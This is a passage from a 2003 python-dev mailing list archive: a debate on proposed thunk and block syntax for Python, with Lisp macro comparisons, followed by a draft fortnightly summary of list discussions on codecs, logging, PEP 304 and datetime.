problems. A new idea that could cause a paradigm landslide is not necessarily right. --Guido van Rossum (home page: http://www.python.org/~guido/) ------- Forwarded Message Date: Sat, 01 Feb 2003 02:39:24 -0600 From: Glyph Lefkowitz To: guido@python.org Subject: proposed syntax additions ++ - ----Security_Multipart(Sat_Feb__1_02:39:24_2003_152)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit I read about your syntax proposal: http://mail.python.org/pipermail/python-dev/2003-January/032608.html +2!!! I don't have time to marshal my thoughts at the moment (I should really be sleeping!), but I wanted to get this out to you as soon as I read it. This is terrific. The ability to introduce new blocks without abusing a keyword would be a godsend for Twisted. I would like to introduce a section into my Deferreds paper talking about how this could be used to improve the current state of affairs wrt long expressions. It would be particularly nice if the syntax were able to accomodate namespace modifications before evaluation. For example: foo.callRemote("testMethod"): andThen: print result orElse(RemoteException): print 'HLUARG die mutant' orElse(KeyError): print 'key not found' Deferred could easily stuff thunk-generators into the namespace to provide that prettying-up. This would of course be shorthand for: d = foo.callRemote('testMethod') d.addCallback: print result d.addErrback: failure.trap(RemoteException) print 'HLUARG die mutant' d.addErrback: failure.trap(KeyError) print 'key not found' or something very similar. I think the former is prettier and I could probably come up with more substantial applications given some thought. I have some particularly deferred-heavy prototype code right now that I estimate would be reduced by half in length with a syntax facility like this. If you feel this is coherent feel free to forward to python-dev or wherever. - -- | <`'> | Glyph Lefkowitz: Travelling Sorcerer | | < _/ > | Lead Developer, the Twisted project | | < ___/ > | http://www.twistedmatrix.com | - ----Security_Multipart(Sat_Feb__1_02:39:24_2003_152)-- Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit - -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQA+O4e8vVGR4uSOE2wRAqoHAKCqe2bCfPE8/k1RFiUQYz79a9qEdwCgjnhL e38aEc87UTIvWg0PFwh0tgM= =Daue - -----END PGP SIGNATURE----- - ----Security_Multipart(Sat_Feb__1_02:39:24_2003_152)---- ------- End of Forwarded Message From neal@metaslash.com Sat Feb 1 20:22:03 2003 From: neal@metaslash.com (Neal Norwitz) Date: Sat, 01 Feb 2003 15:22:03 -0500 Subject: [Python-Dev] Python roadmap In-Reply-To: <200302011945.30990.aleax@aleax.it> References: <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net> <200302011945.30990.aleax@aleax.it> Message-ID: <20030201202202.GC24222@epoch.metaslash.com> On Sat, Feb 01, 2003 at 07:45:30PM +0100, Alex Martelli wrote: > On Saturday 01 February 2003 07:33 pm, Guido van Rossum wrote: > ... > > It is sort of against the rules of the language -- the whole point of > > scoping is that you should be able to define variables even if they > > block a builtin (that you may never have heard of and don't need) from > > view. > > > > But it would be a great feature of PyChecker (for all I know, it > > already does this). > > At least in 0.8.12, which I think is the current release, PyChecker > doesn't diagnose the binding (in global or local scope) of built-in > names with a warning, no. But I think you're right that such a > functionality would belong there. Alex is correct on all counts. It is easy enough to add, so I'll implement it. Neal From pedronis@bluewin.ch Sat Feb 1 20:38:11 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sat, 1 Feb 2003 21:38:11 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <059501c2ca31$d6581420$6d94fea9@newmexico> From: "Guido van Rossum" > > > I'm confused. You & Samuele both sometimes have a rhetorical style > > > that leaves me with no idea of the point you're trying to make. > > > > > > Please say it outright. > > > > is this the reason why you have not given much feedback on my "rants"? > > No, this time your rants were quite clear (at least the second time > around). > > I need to have time to read all feedback again and think about it. > > > for example do you agree or disagree that it bad to have scoping > > rules for some piece of code that depend on some user code somewhere > > else and that can sometime be quite ambiguous at first glance? Thus > > the 'class'-like scoping rules case should be syntactically > > distinguishable from the inline-suite-like case? > > I haven't made up my mind on that yet. It appears that the scope of a > block in Ruby is quite ambiguous, yet it seems to work there. > > What are the scope rules for blocks passed into method calls in > Smalltalk? they are not ambiguous in the sense we are referring here: def f(): x=3 foo: x=4 # new x or old x? > In some Lisps, I believe a function can determine whether its > arguments are evaluated before the call (== normal Python semantics) > or whether they are somehow (I don't know the details!) passed to the > function as parse trees so the function can evaluate them at will. > This does not seem to confuse Lisp users. Or does it? I honestly > don't know if this is popular or considered a wart. evolutive ancestors of macros, now they have been substituted with macros, CL and Scheme do not have them. > I do worry that if my thunks are to be maximally useful, they may end > up having all variables bound through "cells" (as used for nested > scopes) which may give them a reputation of being slow compared to > in-line code, which would limit their popularity for control flow > statements like synchronized(). yes, that worries me to, it seems at least a likely source of recurring comp.lang.python threads From pedronis@bluewin.ch Sat Feb 1 20:52:25 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sat, 1 Feb 2003 21:52:25 +0100 Subject: [Python-Dev] Re: Extended Function syntax References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <05d501c2ca33$d36d6560$6d94fea9@newmexico> From: "Guido van Rossum" > I received this from Glyph. He brings up some interesting use cases > for thunks. I guess it could be used for "on" style event handler > declarations. Hmm, you could even craft your own case statement with > his suggestion: > > switch(expr): > case(val1): > block1 > case(val2): > block2 > default: > block3 > > This actually makes me worry -- I didn't plan thunks to be the answer > to all problems. A new idea that could cause a paradigm landslide is > not necessarily right. I don't exactly get how containment relationships are disambiguated at compilation time? for sure this is bordering macros' expressivity From pedronis@bluewin.ch Sat Feb 1 21:44:27 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sat, 1 Feb 2003 22:44:27 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> Message-ID: <065d01c2ca3b$185ca080$6d94fea9@newmexico> From: "Samuele Pedroni" > > I do worry that if my thunks are to be maximally useful, they may end > > up having all variables bound through "cells" (as used for nested > > scopes) which may give them a reputation of being slow compared to > > in-line code, which would limit their popularity for control flow > > statements like synchronized(). > > yes, that worries me to, it seems at least a likely source of recurring > comp.lang.python threads 'with' syntax does not share the problem, because it is just syntax-sugar for a try-finally, not involving thunks. Repeating myself, unless one considers the most extreme proposals that border macros, thunks [smalltalk-ish anonymous blocks] are quite a non-orthogonal addition for a language already with functions and closures, generators and 'for'. [I leave aside generalizing 'class', which is something useful but not about control-flow statements and for me a separate problem] Much of what: do beh(args): (x,...): suite can do, can be done already with for x,.. in behgen(args): # behgen is a generator that yields where beh would invoke the thunk suite What is not covered is: 1) the case where the thunk passes back some result on invocation by beh using the proposed 'value' direct-to-caller-return statement. 2) the case where beh returns a useful value do e = beh(args): (x,...): suite Both could be adressed with the following similar syntax-sugar but that defines a usual function instead of a thunk: fdo [e=] beh(args): [(x,...):] suite # can contain return would be sugar for (or something similar): def (x,...): suite [e = ] beh(args)() In this case we don't need to devise new rules for what 'break','continue','return' do in the suite. The suite is just the body of an anonymous function, 'return' has the usual meaning for a function in there. No new concept and rules would be added to the language. Obviously the suite cannot rebind locals in the surrounding function. Given the functional flavor of the construct especially if there's an assigmnent e = or beh uses values produced by the suite, this can be considered a feature. The addition of 'with' and 'for' plus generators would cover the other cases! OTOH what 'return' does in the suite and the fact that the suite is not an inline suite can be ambigous at first glance. It is for sure a kind of wart. But this would counterbalance the problem of defining/implementing thunks, and what 'break','continue','return' would do exactly in them, and the necessity to add 'value' to get full expressivity for thunks. From andrew@indranet.co.nz Sat Feb 1 21:56:29 2003 From: andrew@indranet.co.nz (Andrew McGregor) Date: Sun, 02 Feb 2003 10:56:29 +1300 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <4218270000.1044136589@localhost.localdomain> --==========1605285482========== Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Saturday, February 01, 2003 15:02:51 -0500 Guido van Rossum=20 wrote: > Many users have only a vague notion of the difference between a > syntactic construct and a function (witness repeated suggestions here > and elsewhere that confuse these matters), yet nobody has a problem > with understanding the difference in scope rules between 'def' and > 'if' statements, for example. So I hope that learning that some > functions treat a thunk's scope different than others is no huge > burden. I think it's not a burden, and in fact the ability to make such things=20 would be very useful. I've come up with a few examples below. > In some Lisps, I believe a function can determine whether its > arguments are evaluated before the call (=3D=3D normal Python semantics) > or whether they are somehow (I don't know the details!) passed to the > function as parse trees so the function can evaluate them at will. > This does not seem to confuse Lisp users. Or does it? I honestly > don't know if this is popular or considered a wart. It's fundamental. Lisp syntax is almost exactly a representation of the=20 parser output; lisps basically don't have a parser, up to syntactic sugar.=20 So a macro definition can specify in its definition which arguments are=20 passed evaluated or unevaluated (in some lisps, this is done by explicity=20 evaluating the appropriate arguments; elisp is one such). The difference=20 between macros and functions comes down to if arguments are evaluated or=20 not. Lots of ordinary, standard lisp idiom is implemented this way, even such=20 things as 'let', which is the local variable binder and even sometimes=20 'defun', which is the function definer. For example, in xemacs elisp syntax for simplicity, meaning all macro=20 arguments are passed unevaluated, defun is approximately defined as (up to=20 the docstring handling): (defmacro defun (name arglist &optional docstring &rest body) (quote (setf name (function (lambda arglist . body)))) ; return code to set the docstring here ) which has an effect essentially identical to python's 'def' keyword. The=20 return value of the macro (and what is actually compiled) is (setf name (function (lambda arglist . body))) (substituting the passed in arguments) which when executed binds name to=20 the compiled version of the lambda. So if we then do: (defun inc (a) (add 1 a)) it compiles as if it were: (setf 'inc (function (lambda (a) . ((add 1 a)))))) For a really huge demonstration of what lisp macros can do, see advice.el=20 from an emacs distribution. It's a good example because it's extremely=20 well commented, and some of the comments show the downsides of macros as=20 well. > I do worry that if my thunks are to be maximally useful, they may end > up having all variables bound through "cells" (as used for nested > scopes) which may give them a reputation of being slow compared to > in-line code, which would limit their popularity for control flow > statements like synchronized(). > > --Guido van Rossum (home page: http://www.python.org/~guido/) Well, they could be treated like lisp macros, that is as source code (or,=20 potentially, parse tree) transformation functions, and compiled just like=20 any other code. This would probably be the simplest to implement, and=20 would allow such things to work with no slowdown at all. For example, presuming python had a defmacro that took all arguments=20 unevaluated and can return a block, that @block introduces a block=20 argument, and that interpolate(block) compiles the block instead of itself, = we could have: defmacro synchronized(lck, @block): return: lck.acquire() try: interpolate(block) finally: lck.release() synchronized(lock): # text of block here pass which compiles identically to: lck.acquire() try: # text of block here pass finally: lck.release() Then: defmacro property(name, docstring, @get, @set, @delete): def getter interpolate(get.arglist): interpolate(get.block) def setter interpolate(set.arglist): interpolate(set.block) def deleter interpolate(delete.arglist): interpolate(delete.block) return: name =3D property(docstring, getter, setter, deleter) class Circle(object): property circumference, """Circumference of the circle""": get (self): return self.radius*6.283 set (self, value): self.radius =3D value/6.283 delete (self): del self.radius would do the obvious thing using block keyword arguments (I can't think how = to express the anonymous scope implied here in regular Python; the=20 intention is that getter and friends are defined in the local namespace of=20 the macro invocation). Of course the proposed syntax is hypothetical, but I think it's quite = clean. Andrew --==========1605285482========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+PEKNHamGxvX4LwIRAon5AJ9bWwgsr+kmbyThK9Fd2hlrMBzWlACgxMW/ WsHNN+4wPAoRgM52G/ctD70= =KiOp -----END PGP SIGNATURE----- --==========1605285482==========-- From aahz@pythoncraft.com Sat Feb 1 22:41:54 2003 From: aahz@pythoncraft.com (Aahz) Date: Sat, 1 Feb 2003 17:41:54 -0500 Subject: [Python-Dev] Re: Extended Function syntax In-Reply-To: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net> References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030201224154.GA22675@panix.com> On Sat, Feb 01, 2003, Guido van Rossum wrote: > > I received this from Glyph. He brings up some interesting use cases > for thunks. I guess it could be used for "on" style event handler > declarations. Hmm, you could even craft your own case statement with > his suggestion: > > switch(expr): > case(val1): > block1 > case(val2): > block2 > default: > block3 > > This actually makes me worry -- I didn't plan thunks to be the answer > to all problems. A new idea that could cause a paradigm landslide is > not necessarily right. That's why I made my lambda joke earlier, and why I've been pushing for thunk types at the syntactic level. I think we do need a generalizable thunk from the POV of the Python internals, but I don't think we should expose that mechanism to the language itself, except through specific keywords or pseudo-keywords. Using "as" with pseudo-keywords gives the best of all worlds, I think, and allowing the [] notation to operate on a thunk gives a fair amount of flexibility without permitting baroque syntactic forms. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ "Argue for your limitations, and sure enough they're yours." --Richard Bach From arigo@tunes.org Sat Feb 1 22:48:46 2003 From: arigo@tunes.org (Armin Rigo) Date: Sat, 1 Feb 2003 14:48:46 -0800 (PST) Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Sat, Feb 01, 2003 at 01:29:12PM -0500 References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030201224846.261712C61@bespin.org> Hello Guido, On Sat, Feb 01, 2003 at 01:29:12PM -0500, Guido van Rossum wrote: > > > v = e: > > > S > > [Armin] > > Just to throw more oil on the fire, note that this looks quite a lot like > > > > for v in e: > > S Sorry, I forgot one step. I was first thinking about a new 'with' keyword inspired by an old proposal seen in this list: with v in e: S and then realized that the magic necessary for such a 'with' statement (and thus for "v=e: S") was close to the magic of 'for', in the sense that it invokes magic methods of 'e' and bind the result to the variable 'v'. I was saying that it might be possible to extend the semantics of 'for' to cover that case too. Well, in the meantime I've seen Greg's suggestion "def ... as expr:", which I find much nicer in general. I am all for it. The only risk I see is the temptation to abuse its power for control flow, as it would allow def _ as run_synchronized(lock): ... This temptation looks similar to the abuse of the 'class' keyword to use the metaclass mecanism with concepts unrelated to classes. In other words, let's be careful before adding powerful features with associated syntax... If I may attempt a summary, given all the use cases that have been expressed in this thread, we could have a need for constructions whose associated code block is either (1) run immediately or (2) passed unexecuted to some constructor; and whose variables are (a) in their own namespace or (b) in the parent namespace. Currently we have 'class' (1a) and, althought currently a bit limited in post-processing facilities, 'def' (2a). I've shown contrived examples of (2b) using 'for'. The question is whether we want something generic enough for all four possible combinations or not, and whether they should still be statically distinguishable or not. If they should not, then the 'thunk' approach is fine, given a way to execute a thunk in its original namespace. This is a well-known approach in block-oriented languages, but I agree with Samuele that this can be much confusing and for some reason I dislike this programming style. Maybe the reason is that Python has a pseudo-declarative look & feel that is incompatible with direct manipulation of control flow. Such a feature would make the life impossible for source-processing utilities like code checkers. But if we want the four cases to be statically distinguisable, then we might be bound to add various unrelated syntax extensions at several places, all of which might come with an associated original use case that makes the syntax look like a hack for radically different uses (like Just's nice metaclass-based definition of properties). A bientôt, Armin. From brett@python.org Sat Feb 1 23:21:47 2003 From: brett@python.org (Brett Cannon) Date: Sat, 1 Feb 2003 15:21:47 -0800 (PST) Subject: [Python-Dev] python-dev Summary for 2003-01-16 through 2003-01-31 Message-ID: Well, my brain didn't pop from the extended syntax thread, so I am happy. =) Why did you guys have to have such a major discussion at the end of the month (and have an explosion of big emails right at the end no less!)? And of course I decide to try to introduce something new in this summary that upped my workload. Lucky me. =) OK, enough complaining (oh wait, I don't get paid for this; I guess I can complain =). Since this is coming out on a weekend I am not going to post this to the general public until Monday night to give everyone a chance to read this if they ignore their mail until weekdays. And as a reminder, my mail client (Pine) strips out the non-ASCII text so if you expect an umlaut to be somewhere and there is nothing, don't worry since it is in the original. ------------------------------------ +++++++++++++++++++++++++++++++++++++++++++++++++++++ python-dev Summary for 2003-01-15 through 2003-01-31 +++++++++++++++++++++++++++++++++++++++++++++++++++++ ====================== Summary Announcements ====================== To make the Summaries more thorough I have decided to make a list of threads that I have decided not to summarize and give my reasoning behind why I decided to skip it which should also explain what the thread is about. I doubt anyone will have complaints about doing this, but if you do let me know. Some PyCon_ announcements to make. Registration is scheduled to start next week. Also, the list of accepted papers is expected to be announced on-time. A belated happy birthday wish goes out to Guido. His birthday occured at some point during the time this summary covered (and no, I am not going to give you an exact date). .. _PyCon: http://www.python.org/pycon/ ================ Skipped threads ================ `test_logging failing on Windows 2000 `__ Since it dealt with a bug that received a patch I didn't worry about it. `PyConDC sprints `__ Meant for the people on python-dev directly, so no point in telling the general community about it. `String method: longest common prefix of two strings `__ Didn't go anywhere; Guido said he doesn't want to add every useful thing as a string method since there are already so many. `very slow compare of recursive objects `__ Discussed a patch about recursive compares. Basically led to no change and dealt with how to make a tuple recursive. `test_email always supposed to be skipped? `__ Glitch in Makefile.pre.in which got fixed. `extending readline functionality (patch) `__ Someone sending a patch directly to python-dev; big no-no! Use SourceForge_ for any all patches. `Re: [Python-checkins] python/dist/src Makefile.pre.in,1.111,1.112 `__ No one ever responded to the email; problem was probably solved. `Cookie.py too strict `__ Barry Warsaw wanted to make the Cookie_ module less strict in acceptance. Michael Chermside suggested adding an argument to be able to specify whether the acceptance of data should be strict or not. `HTMLParser patches `__ Mentions two patches for HTMLParser_ to fix some parsing problems. `Name space pollution (fwd) `__ Someone on `c.l.py`_ didn't like the naming of a function ``destructor`` in the core because it is such a common name and thus can clash with other code. Guido said submit a patch or use some ``#define`` tricks. `logging package -- spurious package contents `__ Guido didn't like the config file for the logging_ package nor the extra handlers. It was agreed to ditch the config file but keep the handlers. `logging package -- documentation `__ Better docs for the logging_ package were uploaded and are ready to be applied. `Re: [Zope3-dev] PosixTimeZone tzinfo implementation `__ Single email mentioning the tm_gmtoff attribute of the datetime type. `test_ossaudiodev hangs `__ The ossaudiodev_ module was hanging in tests. It has been disabled in `setup.py`_. `Looking for a Windows bsddb fan `__ Tim Peters upgraded the Windows distribution to berkeleydb 4.1.25; doing so caused a huge amount of test failures. Turned out they were race conditions in the tests inherit in such complicated tests. `Extension modules, Threading, and the GIL `__ Mention of how the GIL puts a cramp into writing PyGTK_. This thread started last month ( http://www.python.org/dev/summary/2003-01-01_2003-01-15.html#extension-modules-threading-and-the-gil ). `the new 2.3a1 settimeout() with httplib and SSL `__ There was a problem with the new timeout mechanism in socket_ and SSL. There is a a patch at http://www.python.org/sf/676472 to fix the problem. `non-blocking sockets and sendall `__ Brian Ellin noticed that ``socket.sendall()`` and non-blocking sockets don't work together. `Re: [Python-checkins] python/dist/src/Lib/bsddb dbshelve.py,1.4,1.4.4.1 `__ Skip Montanaro asking whether bsddb185 should become "a fallback to the fallback". `xmlparse.c no longer compiles on Windows `__ Tim Peters discovered `xmlparse.c`_ had some #define lines for the non-existent case of no ``memmove()`` function. `fixing traceback.extract_stack() line numbers `__ Greg Klanderman noticed that ``traceback.extract_stack()`` only gives the first line of the method and not of the actual line that caused an issue. `python2.3 on m68k-nommu uClinux, really slow `__ Brad Clements got Python working on an m68k processor and performance was horrible. He asked if anyone had any ideas on how to speed it up. `native code compiler? (or, OCaml vs. Python) `__ Someone asked if Python was ever going to have a native code compiler. The answer is "if you want to write one" and to ask the question nicely. It also became a debate over how difficult a native code compiler would be. `Re: RHSA-2002:202-25 `__ Skip Montanaro sent an email about a security hole found in ``os.exec*p()`` method that was patched back in August. It has subsequently been back-patched to 2.1. `map, filter, reduce, lambda `__ Andrew Koenig commenting on the discussion from the `last summary`_. `Global interpreter lock/import mechanism `__ Joerg Budischewski asked some questions about the proper way of doing some things in a C extension. `Should Cygwin Python use --enable-runtime-pseudo-reloc? `__ Title of this thread makes what it is about obvious. `New PEP 306 needs proof reading. `__ Another thread whose content is obvious by the title. `StringIO not an iterator? `__ Misunderstanding initially. Guido then suggested that (c?)StringIO become its own iterator which became a bug report. `SF patch #677429 (PEP293 callbacks) `__ Walter Drwald asking for someone to look over a patch since Martin v. Lwis in on vacation (and this explains why I have not been bringing up the character palette so much in this summary for inserting umlauts =). `rexec/bastion `__ Someone asking an improper question on the list (Mailman lists this in February, but I am on Pacific time so I say it is in January =). `PEP 42: sizeof(obj) builtin `__ Raymond Hettinger asked if people still wanted ``sizeof()`` in Python. One person said yes. `PEP 305 - CSV File API `__ "A new PEP (305), "CSV File API", is available for reader feedback". `New version of PEP 304 `__ A new version of PEP 304 is up. `import.c:load_source_module() confusion `__ Skip Montanaro had a question about returning when a possible error was signalled on an import. .. _SourceForge: http://www.sf.net/projects/python .. _Cookie: http://www.python.org/dev/doc/devel/lib/module-Cookie.html .. _c.l.py: http://groups.google.com/groups?q=comp.lang.python&ie=ISO-8859-1&hl=en&btnG=Google+Search .. _ossaudiodev: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/ossaudiodev.c .. _setup.py: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/setup.py .. _PyGTK: http://www.daa.com.au/~james/pygtk/ .. _HTMLParser: http://www.python.org/dev/doc/devel/lib/module-HTMLParser.html .. _xmlparse.c: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/expat/xmlparse.c .. _last summary: http://www.python.org/dev/summary/2003-01-01_2003-01-15.html .. _socket: http://www.python.org/dev/doc/devel/lib/module-socket.html ========================================= `Adding Japanese Codecs to the distro`__ ========================================= __ http://mail.python.org/pipermail/python-dev/2003-January/032197.html MA Lemburg brought up a patch on SourceForge by Hisao SUZUKI (I am assuming the capitalization of the last name is a Japanese thing so I will stick with it in the summary) to add "codecs for the Japanese encodings EUC-JP, Shift_JIS and ISO-2022-JP" and donate the code to the `Python Software Foundation`_. MAL's reason for wanting to use these codecs over the current ones most commonly used with Python (written by Tamito KAJIYAMA whose codecs can be found at http://www.asahi-net.or.jp/~rd6t-kjym/python/ ) was that Hisao's were smaller and written in pure Python. Martin v. Lwis thought it was fine to add the codecs but thought Tamito's should be the defaults if any codecs were added to Python. His reasoning was that they have been in active development for a while and thus have been independently verified, in a way, to be correct. He also didn't like the "absence of the cp932 encoding in Suzuki's codecs" since the "suggestion to equate this to "mbcs" on Windows is not convincing". He also thought it would be best to add the C version only. He also suggested "that it might be more worthwhile to expose platform codecs, which would give us all CJK codecs on a number of major platforms, with a minimum increase in the size of the Python distribution, and with very good performance". In response to Martin's comments, MAL thought that the benefit of the Python versions of the codecs was that they were easier to modify. He suggested that the C version then be made available to download as a separate entity (which apparently has been suggested multiple times). As for the independent verification, Hisao built his based on Java's codecs which MAL thought was pretty good verification that they should work. MAL agreed that exposing more platform codecs would be good. Martin didn't go for the "easier editing" argument. He noted that since the table was autogenerated you would need to know the algorithm that made the table in order to be able to edit it. Hye-Shik Chang responded with the support of the C version since it allows for much easier interprocess communication. It also beat the Python version when it came to memory consumption by a large margin. Guido asked how Tamito would feel about adding these codecs, whether both sets outputted the same, and whether Tamito's codecs would still be preferred by people doing a lot of Japanese work. Martin reponded that he didn't think they produced the same result and that people would continue to use JapaneseCodecs (Tamito's codecs) as long as Python didn't include the cp932 codec. Barry Warsaw commented that Mailman used Tamito's codecs and no one has ever complained. He said he would love to see one of the codecs included in Python. Apparently their tend to be license issues with the various Asian codecs. The KorenCodecs_ (or KoCo) are licensed under LGPL, but Hye-Shik Chang said he would "like to make an essence of KoreanCodecs in PSF License if python needs it". Atsuo Ishimoto voted for Tamito's codecs. He said that the Japanese community would continue to use them regardless of what went into Python. And in regards to the question of maintaining the codecs, Atsuo said the Japanese Python community would be willing to help Tamito with his but did not expect that kind of support for Hisao's codecs (Hisao has volunteered to maintain his codecs, though). MAL pointed out that "Tamito's codecs have an installed size of 1790kB while Hisao's codecs are around 81kB" and that was an issue. Martin said that it was only 690kB if you only counted the C version. The issue of size became a major point. It was pointed out that Tamito's covered more codecs and being in C meant it only needed to be loaded in memory once for interprocess use. Tamito chimed in finally and commented that he was busy and would not be able to maintain the codecs until he graduated from graduate school. MAL suggested that he start maintaining it when he had the time and Tamito agreed. I am not sure where the situation stands as of this moment. .. _PSF: .. _Python Software Foundation: http://www.python.org/psf/ .. _KorenCodecs: http://sf.net/projects/koco ========================================== `make install failing with current cvs`__ ========================================== __ http://mail.python.org/pipermail/python-dev/2003-January/032213.html Jack Jansen was having issues with ``make install`` because he had various packages in site-python that had inconsistent tab usage and thus was raising a TabError during the ``compileall()`` step. Jack asked if site-packages could either be skipped by this step or at least not lead to the abortion of the install. All of this was from a change in ``compileall()`` that caused it to exit with a non-zero value if any errors were raised (although it continued to run). That feature was left in; the Makefile was modified so as to skip site-packages. =============================================== `logging package -- rename warn to warning?`__ =============================================== __ http://mail.python.org/pipermail/python-dev/2003-January/032220.html Guido said that he would "like to change 'warn' to 'warning' (and WARN to WARNING)" in the logging_ package. His argument that nothing else was a verb in the package. Vinay Sajip (who wrote the logging package) said he was fine with the change, but warned it would break existing code that already used the package. He suggested putting both names in with a warning that ``warn`` was deprecated. This was shot down since a new package does not need to start with anything deprecated. Then the discussion of whether to ditch fatal/FATAL since they are synonyms for crictical/CRITICAL came up. Guido said the reverse should happen; keep FATAL and ditch CRITICAL (for the rest of this summary I will only refer to the capitalized version to keep things simple). Some opposition came up, holding the view that CRITICAL was closer to the truth. Vinay suggested SEVERE as a replacement. Guido said it didn't "tickle" his "fancy like fatal/FATAL does"; CRITICAL was okay if no agreed upon replacement could be found. A quick grepping of the package by me shows that CRITICAL is staying. .. _logging: http://www.python.org/dev/doc/devel/lib/module-logging.html =============================== `sys.exit and PYTHONINSPECT`__ =============================== __ http://mail.python.org/pipermail/python-dev/2003-January/032217.html Kevin Altis discovered that invoking the interpreter with the ``-i`` argument does not prevent the interpreter from exiting if SystemExit is raised (``sys.exit()`` will raise the exception). He thought it would be good if ``-i`` would override even the SystemExit exception. `Bug #670311`_ was created for this, but no patch has been written yet (anyone care to step up and do this?). .. _bug #670311: http://sourceforge.net/tracker/index.php?func=detail&aid=670311&group_id=5470&atid=105470 ============================ `disable writing .py[co]`__ ============================ __ http://mail.python.org/pipermail/python-dev/2003-January/032270.html Splinter threads: - `Proto-PEP regarding writing bytecode files `__ In the thread `Parallel pyc construction`_ (as covered in the last summary), Paul Dubois brought up how he would like to be able to disable the writing of .py[co] files. Well, this led to a long discussion that culminated into the creation of `PEP 304`_. This PEP by Skip Montanaro lays out how to control .py[co] file creation. To give you a quick summary of the PEP, it lays out the idea of a directory of being able to specify where to have the compiled files written to. If it is empty, then file generation is suppressed. Currently the PEP suggests using an environament variable (named PYTHONBYTECODEBASE) to initially set it and having ``sys.bytecodebase`` be settable to control the functionality during code execution. There is a possibility of a command-line argument to the interpreter, but that option is not winning many votes. This is a glossed-over summary of the PEP. If you are truly interested in this then read the PEP and make your opinion be heard. .. _Parallel pyc construction: http://www.python.org/dev/summary/2003-01-01_2003-01-15.html#parallel-pyc-construction .. _PEP 304: http://www.python.org/peps/pep-0304.html ================================================ `Re: GadflyDA in core? Or as add-on-product?`__ ================================================ __ http://mail.python.org/pipermail/python-dev/2003-January/032295.html The idea was proposed to add Gadfly_ to the stdlib. Two issues came up about doing this. One was that it would require having to deal with another license. Aaron Watters (the original author of Gadfly) was emailed to ask if he would be willing to donate the code to the `Python Software Foundation`_, but he did not respond (at least to the list). The other issue was the use of kjbuckets_. Guido was -1 on letting it into the stdlib because he had "heard it's some of .the hairiest C code ever written". But Richard Jones said that Anthony Baxter is working on removing the dependency on kjbuckets by rewriting the code using the Sets_ module introduced in Python 2.3. As of this writing the decision as to whether to add Gadfly has been put on hold until both of the above issues are resolved. .. _Gadfly: http://gadfly.sourceforge.net/ .. _Sets: http://www.python.org/dev/doc/devel/lib/module-sets.html .. _kjbuckets: http://starship.python.net/crew/aaron_watters/kjbuckets/ ==================================== `Mixed-type datetime comparisons`__ ==================================== __ http://mail.python.org/pipermail/python-dev/2003-January/032414.html Tim Peters sent an email to the list saying that he had made changes to the datetime_ type so that it returned NotImplemented if the thing being compared to had a ``timetuple()`` method so as to allow other implementations to provide the functionality. He also mentioned how you still can't compare datetimes and timedeltas. This caused MA Lemburg to ask why not. Tim said it just wouldn't make any sense since they don't even measure time in the same units. Tim ended on saying that if MAL and Fredrik Lundh could come up with a good proposal Tim would get it in, otherwise his time on datetime for Python 2.3 is spent. .. _datetime: http://www.python.org/dev/doc/devel/lib/module-datetime.html ============== `Itertools`__ ============== __ http://mail.python.org/pipermail/python-dev/2003-January/032508.html Raymond Hettinger checked in his itertools_ module into the sandbox for testing. He is asking for feedback on the module. .. _itertools: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/itertoolsmodule.c ======================================== `Idea for avoiding exception masking`__ ======================================== __ http://mail.python.org/pipermail/python-dev/2003-January/032492.html Raymond Hettinger discovered that "trapping an exception (a 